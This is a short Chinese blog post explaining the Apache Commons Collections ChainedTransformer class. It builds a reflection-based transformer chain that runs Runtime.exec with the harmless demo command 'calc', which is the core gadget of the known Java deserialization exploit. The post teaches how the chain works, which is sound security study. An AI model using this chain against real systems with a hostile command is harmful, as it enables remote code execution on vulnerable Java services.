ChainedTransformer类

ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

类的构造方法:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

类的成员方法,可以看到该成员方法实现了Transformer的链式调用

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

通过链式调用配合反射最终实现命令执行,代码如下:

public static void main(String[] args) {
      // 定义需要执行的本地系统命令
        String cmd = "calc";


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };


        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);


      // 执行对象转换操作
      transformedChain.transform(null);//这里为null的是 一开始的object为runtime类,而getRuntime则不需要参数
}

posted @ 2021-05-02 21:55  zpchcbd  阅读(620)  评论(0)    收藏  举报